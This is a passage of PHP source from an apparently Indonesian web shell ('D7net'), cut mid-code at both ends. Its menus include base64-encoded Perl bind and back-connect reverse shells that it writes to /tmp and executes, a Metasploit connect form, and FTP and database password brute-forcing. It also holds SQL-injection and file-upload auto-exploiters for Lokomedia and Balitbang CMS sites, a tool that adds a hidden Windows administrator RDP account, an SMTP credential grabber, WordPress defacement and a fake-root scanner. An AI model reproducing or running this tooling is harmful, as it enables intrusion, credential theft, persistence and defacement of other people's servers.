"; 
echo "<pre style=\"text-align: left;\">
";
error_reporting(0);
 
 
if($_POST['submit']){
function tampilkan($shcdirs){
foreach(scandir($shcdirs) as $shc)
    {
        if($shc!='.' && $shc!='..')
        {
            $shc = $shcdirs.DIRECTORY_SEPARATOR.$shc;
            if( !is_dir($shc) && !eregi("css", $shc) ){
 
                $fgt    = file_get_contents($shc);
                $ifgt   = exif_read_data($shc);
                $jembut = "COMPUTED";
                $taik   = "UserComment";
                $shcm = "/mail['(']/";
                if($ifgt[$jembut][$taik]){
                    echo "[<font color=#00FFD0>Stegano</font>] <font color=#2196F3>".$shc."</font><br>";
                }
                preg_match_all('#[A-Z0-9a-z._%+-]+@[A-Za-z0-9.+-]+#',$fgt,$cocok);
                $hcs  = "/base64_decode/";
                $exif = "/exif_read_data/";
                preg_match($shcm, addslashes($fgt), $mailshc);
                preg_match($hcs,  addslashes($fgt), $shcmar);
                preg_match($exif, addslashes($fgt), $shcxif);
                if(eregi('HTTP Cookie File', $fgt) || eregi('PHP Warning:', $fgt) ){
                }
                if(eregi('tmp_name', $fgt)){
                    echo "[<font color=#FAFF14>Uploader</font>] <font color=#2196F3>".$shc."</font><br>";
                }
                if($shcmar[0]){
                    echo "[<font color=#FF3D00>Base64</font>] <font color=#2196F3>".$shc."</font><br>";
                }
                if($mailshc[0]){
                    echo "[<font color=#E6004E>MailFunc</font>] <font color=#2196F3>".$shc."</font><br>";
                }
                if($shcxif[0]){
                    echo "[<font color=#00FFD0>Stegano</font>] <font color=#2196F3>".$shc."</font> </font><font color=red>{Manual Check}</font><br>";
                }
                if(eregi("js", $shc)){
                            echo "[<font color=red>Javascript</font>] <font color=#2196F3>".$shc."</font> { <a href=http://www.unphp.net target=_blank>CheckJS</a> }<br>";
                }
                if($cocok[0]){
                    foreach ($cocok[0] as $key => $shcmail) {
                        if (filter_var($shcmail, FILTER_VALIDATE_EMAIL)) {
                            echo "[<font color=yellow>SendMail</font>] <font color=#2196F3>".$shc."</font> { ".$shcmail." }<br>";
                        }
                    }
                }
           
            }else{
                tampilkan($shc);
            }
        }
    }
}
tampilkan($_POST['shc_dir']);
}
echo "</pre>
"; 
echo "</Center>
";}
elseif($_GET['D7net'] == 'network') {
    echo "<div class='mybox' style='text-align:left;'><form method='post'>
    <Font size='6pt'>Bind Port:</font><br><hr color='white'>
    &nbspPORT &nbsp&nbsp&nbsp&nbsp<input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' placeholder='port' name='port_bind' value='D7net'>
    <br><br><input type='submit' style='width: 50px; height: 30px; border-color=white;' class='kotak' name='sub_bp' value='Go!'>
    </form></div>
    <div class='mybox' style='text-align:left;'><form method='post'>
    <Font size='6pt'>Back Connect:</font> <br><hr color='white'>
    Server &nbsp&nbsp<input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'><br><br>
    PORT &nbsp&nbsp&nbsp&nbsp<input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' placeholder='port' name='port_bc' value='D7net'><br><br>
    <input type='submit' class='kotak' style='width: 50px; height: 30px; border-color=white;' name='sub_bc' value='Go!'>
    </form></div>
    <div class='mybox' style='text-align:left;'><form method='POST'>
    <Font size='6pt'>Metasploit Connection:</font> <br><hr color='white'>Your IP
    &nbsp<input placeholder='port' style='border:0;border-bottom:1px solid #292929; width:500px;' type='text' size='40' name='yip' value='".$my_ip."' /><br><br>
    Port&nbsp&nbsp&nbsp&nbsp&nbsp<input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' size='5' name='yport' value='D7net' />
    <br><br><input class='kotak' type='submit' style='width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;' value='Go!' name='metaConnect'></form></div>";
    
;
    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    if(isset($_POST['sub_bp'])) {
        $f_bp = fopen("/tmp/bp.pl", "w");
        fwrite($f_bp, base64_decode($bind_port_p));
        fclose($f_bp);
 
        $port = $_POST['port_bind'];
        $out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
        sleep(1);
        echo "<pre>".$out."\
".exe("ps aux | grep bp.pl")."</pre>";
        unlink("/tmp/bp.pl");
    }
    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
    if(isset($_POST['sub_bc'])) {
        $f_bc = fopen("/tmp/bc.pl", "w");
        fwrite($f_bc, base64_decode($bind_connect_p));
        fclose($f_bc);
 
        $ipbc = $_POST['ip_bc'];
        $port = $_POST['port_bc'];
        $out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
        sleep(1);
        echo "<pre>".$out."\
".exe("ps aux | grep bc.pl")."</pre>";
        unlink("/tmp/bc.pl");
    }
}
elseif($_GET['D7net'] == 'brute') {
if( isset($_POST['proto']) ) {
        echo '<div class="mybox"><h1>Results</h1><hr color="white"><br><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'</div><br>';
        if( $_POST['proto'] == 'ftp' ) {
            function bruteForce($ip,$port,$login,$pass) {
                $fp = @ftp_connect($ip, $port?$port:21);
                if(!$fp) return false;
                $res = @ftp_login($fp, $login, $pass);
                @ftp_close($fp);
                return $res;
            }
        } elseif( $_POST['proto'] == 'mysql' ) {
            function bruteForce($ip,$port,$login,$pass) {
                $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
                @mysql_close($res);
                return $res;
            }
        } elseif( $_POST['proto'] == 'pgsql' ) {
            function bruteForce($ip,$port,$login,$pass) {
                $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
                $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
                @pg_close($res);
                return $res;
            }
        }
        $success = 0;
        $attempts = 0;
        $server = explode(":", $_POST['server']);
        if($_POST['type'] == 1) {
            $temp = @file('/etc/passwd');
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = explode(":", $line);
                    ++$attempts;
                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
                        $success++;
                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
                    }
                    if(@$_POST['reverse']) {
                        $tmp = "";
                        for($i=strlen($line[0])-1; $i>=0; --$i)
                            $tmp .= $line[0][$i];
                        ++$attempts;
                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
                            $success++;
                            echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
                        }
                    }
                }
        } elseif($_POST['type'] == 2) {
            $temp = @file($_POST['dict']);
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = trim($line);
                    ++$attempts;
                    if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
                        $success++;
                        echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
                    }
                }
        }
        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
    }
    echo '<div class="mybox"><h1>FTP bruteforce</h1><hr color="white"><div class=content><table><form method=post><tr><td><span>Type</span></td>'
        .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
        .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
        .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
        .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
        .'<span>Server:port</span></td>'
        .'<td><input type=text name=server value="target.co.li"></td></tr>'
        .'<tr><td><span>Brute type</span></td>'
        .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
        .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
        .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
        .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
        .'<td><input type=text style="border-color=white;" name=login value="Desktop77N3T"></td></tr>'
        .'<tr><td><span>Dictionary</span></td>'
        .'<td><input type=text style="border-color=white;" name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
        .'</td></tr><tr><td></td><td><input class="kotak" type=submit value=">>"></td></tr></form></table>';
    echo '</div></div>';}
    elseif($_GET['D7net'] == 'lokmed')
    {
?>
<center class='mybox'><h1>CMS Lokomedia Auto Exploiter</h1>
<form method='post'>
<textarea name='sites' style='border-color=white;' value='contoh:http://target.com/hal-tentang-kami.html' cols='50' rows='12'></textarea><br><br>
<input type='submit' name='go' value='SIKAT!' style='border-color=white;' class='kotak'>
</FORM></center>
<?php
error_reporting(0);
set_time_limit(0);
$ya=$_POST['go'];
$co=$_POST['sites'];

if($ya){
$e=explode("rn",$co);
foreach($e as $bda){    
$fp = fopen("cookie.txt", "w+");
$Cookie = realpath('cookie.txt');
$web = $bda."/statis--1'union%20select%20/*!50000Concat*/(username,0x20,password)+from+users--+--+-profil.html";
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,"$web");
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_COOKIEFILE, "$Cookie");
curl_setopt($curl,CURLOPT_TIMEOUT,5);
$gweb = curl_exec($curl);
$web2 = $bda."/statis--1'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+-profil.html";
$curl2=curl_init();
curl_setopt($curl2,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl2,CURLOPT_URL,"$web2");
curl_setopt($curl2,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
curl_setopt($curl2,CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl2,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl2,CURLOPT_COOKIEFILE, "$C2ookie");
curl_setopt($curl2,CURLOPT_TIMEOUT,5);
$gweb2 = curl_exec($curl2);
echo '<center><font face="courier" color="#00BFFF" >'.$bda.'</font><br><textarea rows="10" cols="40">'.htmlentities($gweb2).'</textarea>','<textarea rows="10" cols="40">'.htmlentities($gweb).'</textarea>';
$cek_admin = @file_get_contents("$bda/adminweb");
if(preg_match("/Copyright/", $cek_admin)) {
                echo "<BR><font color=green>Desktop77N3T</font> => <font color=white><a href='$bda/adminweb' target='_blank'>$bda/adminweb</a></font><br>";
                } else {
                echo "<br><br>[-] <font color=red> Gak Ada /adminweb, Jancok! -_-</font>[-]<br><br><hr color='white'>";
}}}}


elseif($_GET['D7net'] == 'balitbang') {
?>
<div class='mybox'><h1>CMS Balitbang Auto Exploiter</h1>
<form action='' method='post'>
<center>
<p>Target URL : <input style='border-color=white;' type='text' name='url' class='text' placeholder='http://target.com/' size="50"></p>
</td></p>
<p><input type='submit' name='send' class='kotak' style='border-color=white;' value='Kunci Target'></p></center>
</form>
<?php
if (isset($_POST['send'])) {
    $url = $_POST['url'];
    $resulturl = "Target URL : $url";
    echo "<center>
<hr color='white'><br>
$resulturl
$resultoken
</center>";
echo '<center style="border-color=white;"><form enctype="multipart/form-data" action="'.$url.'/files/tugas/tgs-ganteng.phtml" method="post"></center>';
echo '<center style="border-color=white;"><input name="file" type="file"><input type="submit" class="kotak" value="Upload"><br><br>Format file: shell.phtml ato shell.php5</center>';
}
echo "</div>";
}
elseif($_GET['D7net'] == 'hashid') {
if (isset($_POST['gethash'])) {
        $hash = $_POST['hash'];
        if (strlen($hash) == 32) {
            $hashresult = "MD5 Hash";
        } elseif (strlen($hash) == 40) {
            $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
        } elseif (strlen($hash) == 13) {
            $hashresult = "DES(Unix) Hash";
        } elseif (strlen($hash) == 16) {
            $hashresult = "MySQL Hash / /DES(Oracle Hash)";
        } elseif (strlen($hash) == 41) {
            $GetHashChar = substr($hash, 40);
            if ($GetHashChar == "*") {
                $hashresult = "MySQL5 Hash";
            }
        } elseif (strlen($hash) == 64) {
            $hashresult = "SHA-256 Hash";
        } elseif (strlen($hash) == 96) {
            $hashresult = "SHA-384 Hash";
        } elseif (strlen($hash) == 128) {
            $hashresult = "SHA-512 Hash";
        } elseif (strlen($hash) == 34) {
            if (strstr($hash, '$1$')) {
                $hashresult = "MD5(Unix) Hash";
            }
        } elseif (strlen($hash) == 37) {
            if (strstr($hash, '$apr1$')) {
                $hashresult = "MD5(APR) Hash";
            }
        } elseif (strlen($hash) == 34) {
            if (strstr($hash, '$H$')) {
                $hashresult = "MD5(phpBB3) Hash";
            }
        } elseif (strlen($hash) == 34) {
            if (strstr($hash, '$P$')) {
                $hashresult = "MD5(Wordpress) Hash";
            }
        } elseif (strlen($hash) == 39) {
            if (strstr($hash, '$5$')) {
                $hashresult = "SHA-256(Unix) Hash";
            }
        } elseif (strlen($hash) == 39) {
            if (strstr($hash, '$6$')) {
                $hashresult = "SHA-512(Unix) Hash";
            }
        } elseif (strlen($hash) == 24) {
            if (strstr($hash, '==')) {
                $hashresult = "MD5(Base-64) Hash";
            }
        } else {
            $hashresult = "Hash type not found";
        }
    } else {
        $hashresult = "Not Hash Entered";
    }
?>
    <div class='mybox' style="text-align:left">
        <form action="" method="POST">
        <tr>
        <table >
        <h1>Hash Identifier</h1>
        <tr class="optionstr"><B><td>String</td></b><td>:</td>  
        <td><input style='border:0;border-bottom:1px solid #292929; width:500px;' type="text" name="hash" size='60'/></td>
        <td><input type="submit" class="kotak" name="gethash" value="Identify Hash" /></td></tr>
        <tr class="optionstr"><b><td>Hasil</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
    </table></tr></form><br>
    </div>
<?php 
}
elseif($_GET['D7net'] == 'krdp') {
    if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
        if($_POST['create']) {
            $user = htmlspecialchars($_POST['user']);
            $pass = htmlspecialchars($_POST['pass']);
            if(preg_match("/$user/", exe("net user"))) {
                echo "<div class='mybox'>[INFO] -> <font color=red>user <font color=white>$user</font> sudah ada</font></div>";
            } else {
                $add_user   = exe("net user $user $pass /add");
                $add_groups1 = exe("net localgroup Administrators $user /add");
                $add_groups2 = exe("net localgroup Administrator $user /add");
                $add_groups3 = exe("net localgroup Administrateur $user /add");
                echo "<div class='mybox'>[ RDP ACCOUNT INFO ]<br>
                ------------------------------<br>
                IP: <font color=white>".$ip."</font><br>
                Username: <font color=white>$user</font><br>
                Password: <font color=white>$pass</font><br>
                ------------------------------<br><br>
                [ STATUS ]<br>
                ------------------------------<br>

                ";
                if($add_user) {
                    echo "[add user] -> <font color='white'>Berhasil</font><br>";
                } else {
                    echo "[add user] -> <font color='red'>Gagal</font><br>";
                }
                if($add_groups1) {
                    echo "[add localgroup Administrators] -> <font color='white'>Berhasil</font><br>";
                } elseif($add_groups2) {
                    echo "[add localgroup Administrator] -> <font color='white'>Berhasil</font><br>";
                } elseif($add_groups3) {
                    echo "[add localgroup Administrateur] -> <font color='white'>Berhasil</font><br>";
                } else {
                    echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
                }
                echo "------------------------------<br></div>";
            }
        } elseif($_POST['s_opsi']) {
            $user = htmlspecialchars($_POST['r_user']);
            if($_POST['opsi'] == '1') {
                $cek = exe("net user $user");
                echo "<div class='mybox'>Checking username <font color=white>$user</font> ....... ";
                if(preg_match("/$user/", $cek)) {
                    echo "[ <font color=white>Sudah ada</font> ]<br>
                    ------------------------------<br><br>
                    <pre>$cek</pre>";
                } else {
                    echo "[ <font color=red>belum ada</font> ]</div>";
                }
            } elseif($_POST['opsi'] == '2') {
                $cek = exe("net user $user Desktop77N3T");
                if(preg_match("/$user/", exe("net user"))) {
                    echo "[change password: <font color=white>Desktop77N3T</font>] -> ";
                    if($cek) {
                        echo "<font color=white>Berhasil</font>";
                    } else {
                        echo "<font color=red>Gagal</font>";
                    }
                } else {
                    echo "<div class='mybox'>[INFO] -> <font color=red>user <font color=white>$user</font> belum ada</font></div>";
                }
            } elseif($_POST['opsi'] == '3') {
                $cek = exe("net user $user /DELETE");
                if(preg_match("/$user/", exe("net user"))) {
                    echo "[remove user: <font color=white>$user</font>] -> ";
                    if($cek) {
                        echo "<font color=white>Berhasil</font>";
                    } else {
                        echo "<font color=red>Gagal</font>";
                    }
                } else {
                    echo "<div class='mybox'>[INFO] -> <font color=red>user <font color=white>$user</font> belum ada</font></div>";
                }
            } else {
                //
            }
        } else {
            echo "<div class='mybox'>
            <h1>K-RDP Shell</h1><br>
            -- Create RDP --
            <form method='post'>
            <input type='text' style='border-color=white;' name='user' placeholder='username' value='Desktop77N3T' required>
            <input type='text' style='border-color=white;' name='pass' placeholder='password' value='Desktop77N3T' required>
            <input type='submit' style='border-color=white;' class='kotak' name='create' value='>>'>
            </form>
            -- Option --
            <form method='post'>
            <input type='text' style='border-color=white;' name='r_user' placeholder='username' required>
            <select name='opsi' style='border-color=white;'>
            <option value='1'>Cek Username</option>
            <option value='2'>Ubah Password</option>
            <option value='3'>Hapus Username</option>
            </select>
            <input type='submit' style='border-color=white;' class='kotak' name='s_opsi' value='>>'>
            </form></div>
            ";
        }
    } else {
        echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.";
    }
}
elseif($_GET['D7net'] == 'smtp') {
    echo "<center class='mybox'><h1>SMTP Grabber</h1><hr color='white'><br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/d7net_config )</span><br><br>";
    function scj($dir) {
        $dira = scandir($dir);
        foreach($dira as $dirb) {
            if(!is_file("$dir/$dirb")) continue;
            $ambil = file_get_contents("$dir/$dirb");
            $ambil = str_replace("$", "", $ambil);
            if(preg_match("/JConfig|joomla/", $ambil)) {
                $smtp_host = ambilkata($ambil,"smtphost = '","'");
                $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
                $smtp_user = ambilkata($ambil,"smtpuser = '","'");
                $smtp_pass = ambilkata($ambil,"smtppass = '","'");
                $smtp_port = ambilkata($ambil,"smtpport = '","'");
                $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
                echo "SMTP Host: <font color=white>$smtp_host</font><br>";
                echo "SMTP port: <font color=white>$smtp_port</font><br>";
                echo "SMTP user: <font color=white>$smtp_user</font><br>";
                echo "SMTP pass: <font color=white>$smtp_pass</font><br>";
                echo "SMTP auth: <font color=white>$smtp_auth</font><br>";
                echo "SMTP secure: <font color=white>$smtp_secure</font><br><br></center>";
            }
        }
    }
    $smpt_hunter = scj($dir);
    echo $smpt_hunter;
} elseif($_GET['D7net'] == 'auto_wp') {
    if($_POST['sikat']) {
        $title = htmlspecialchars($_POST['new_title']);
        $pn_title = str_replace(" ", "-", $title);
        if($_POST['cek_edit'] == "Y") {
            $script = $_POST['edit_content'];
        } else {
            $script = $title;
        }
        $conf = $_POST['config_dir'];
        $scan_conf = scandir($conf);
        foreach($scan_conf as $file_conf) {
            if(!is_file("$conf/$file_conf")) continue;
            $config = file_get_contents("$conf/$file_conf");
            if(preg_match("/WordPress/", $config)) {
                $dbhost = ambilkata($config,"DB_HOST', '","'");
                $dbuser = ambilkata($config,"DB_USER', '","'");
                $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
                $dbname = ambilkata($config,"DB_NAME', '","'");
                $dbprefix = ambilkata($config,"table_prefix  = '","'");
                $prefix = $dbprefix."posts";
                $option = $dbprefix."options";
                $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                $db = mysql_select_db($dbname);
                $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
                $result = mysql_fetch_array($q);
                $id = $result[ID];
                $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
                $result2 = mysql_fetch_array($q2);
                $target = $result2[option_value];
                $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
                $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
                echo "<div style='margin: 5px auto;'>";
                if($target == '') {
                    echo "URL: <font color=red>error, gabisa ambil nama domain nya cok !!</font> -> ";
                } else {
                    echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
                }
                if(!$update OR !$conn OR !$db) {
                    echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
                } else {
                    echo "<font color=white>Sukses di ganti, CoK!</font><br>";
                }
                echo "</div>";
                mysql_close($conn);
            }
        }
    } else {
        echo "<div style='text-align:left' class='mybox'>
        <h1>Auto Edit Title+Content WordPress</h1><hr color='white'>
        <form method='post'>
        DIR Config:
        <input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' size='50' name='config_dir' value='$dir'><br><br>
        Set Title:
        &nbsp<input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' name='new_title' value='Hacked' size='40' placeholder='New Title'><br><br>
        Edit Content?: <input type='radio' style='border-color=white'name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
        <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
        <textarea style='border-color:#292929' name='edit_content' class='mybox' placeholder='contoh script: http://pastebin.com/u/bokev' style='width: 450px; height: 150px;'></textarea><br>
        <input type='submit' name='SIKAT!' style='width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;' class='kotak' value='SIKAT!' style='width: 450px;'><br>
        </form>
        <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/d7net_config )</span></div><br>
        ";
    }
} 
elseif($_GET['D7net'] == 'fake_root') {
    ob_start();
    function reverse($url) {
        $ch = curl_init("http://domains.yougetsignal.com/domains.php");
              curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
              curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$url&ket=");
              curl_setopt($ch, CURLOPT_HEADER, 0);
              curl_setopt($ch, CURLOPT_POST, 1);
        $resp = curl_exec($ch);
        $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
        $array = explode(",,", $resp);
        unset($array[0]);
        foreach($array as $lnk) {
            $lnk = "http://$lnk";
            $lnk = str_replace(",", "", $lnk);
            echo $lnk."\
";
            ob_flush();
            flush();
        }
              curl_close($ch);
    }
    function cek($url) {
        $ch = curl_init($url);
              curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
              curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $resp = curl_exec($ch);
        return $resp;
    }
    $cwd = getcwd();
    $ambil_user = explode("/", $cwd);
    $user = $ambil_user[2];
    if($_POST['reverse']) {
        $site = explode("\
\
", $_POST['url']);
        $file = $_POST['file'];
        foreach($site as $url) {
            $cek = cek("$url/~$user/$file");
            if(preg_match("/hacked/i", $cek)) {
                echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=white>Fake Root!</font><br>";
            }
        }
    } else {
        echo "<div style='text-align:left' class='mybox'><form method='post'>
        <h1>Fake Root Scanner</h1><hr color='white'>
        Filename: <input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' style='border-color=white' name='file' placeholder='d7net.html' size='50' height='10'><br><br>
        User: &nbsp&nbsp&nbsp&nbsp<input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' value='$user' size='50' style='border-color=white' height='10' readonly><br><br>
        Domen:<br>&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp
        <textarea style='border-color:#292929; class='mybox' height: 250px;' name='url'>";
        reverse($_SERVER['HTTP_HOST']);
        echo "</textarea><br>
        &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type='submit' style='width: 130px; height: 30px; border-color=white;margin:10px 2px 0 2px;' name='reverse' value='Scan Fake Root!' class='kotak' style='width: 450px; border-color=white;'>
        </form><br>
        &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspNB: Sebelum pake Tools ini , upload dulu script depes di dir /home/user/ dan /home/user/public_html.</div>";
    }
} elseif($_GET['D7net'] == 'adminer') {
    $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
    function adminer($url, $isi) {
        $fp = fopen($isi, "w");
        $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
              curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
              curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
              curl_setopt($ch, CURLOPT_FILE, $fp);
        return curl_exec($ch);
              curl_close($ch);
        fclose($fp);
        ob_flush();
        flush();
    }
    if(file_exists('adminer.php')) {
        echo "<center class='mybox'><font color=white><a href='$full/adminer.php' target='_blank'>-=[ ADMINER LOGIN ]=-</a></font></center>";
    } else {
        if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
            echo "<center><font color=white><a href='$full/adminer.php' target='_blank'>-> ADMINER LOGIN <-</a></font></center>";
        } else {
            echo "<center><font color=red>Gagal buat file adminer, Jancok!</font></center>";
        }
    }
}elseif($_GET['D7net'] == 'passwbypass') {
    echo '<div class="mybox"><br><center>Bypass etc/passw With:<br>
<table style="width:50%">
  <tr>
    <td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="System Function" name="syst"></form></td>
    <td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="Passthru Function" name="passth"></form></td>
    <td><form method="post"><input style="border-color=white;" type="submit" class="kotak" value="Exec Function" name="ex"></form></td>   
    <td><form method="post"><input style="border-color=white;" type="submit" class="kotak" value="Shell_exec Function" name="shex"></form></td>       
    <td><form method="post"><input style="border-color=white;" type="submit" class="kotak" value="Posix_getpwuid Function" name="Desktop77N3T"></form></td>
</tr></table>Bypass User With : <table style="width:50%">
<tr>
    <td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="Awk Program" name="awkuser"></form></td>
    <td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="System Function" name="systuser"></form></td>
    <td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="Passthru Function" name="passthuser"></form></td>   
    <td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="Exec Function" name="exuser"></form></td>       
    <td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="Shell_exec Function" name="shexuser"></form></td>
</tr>
</table><br></div>';


if ($_POST['awkuser']) {
echo"<textarea class='inputzbut' style='border-color=white;' cols='65' rows='15'>";
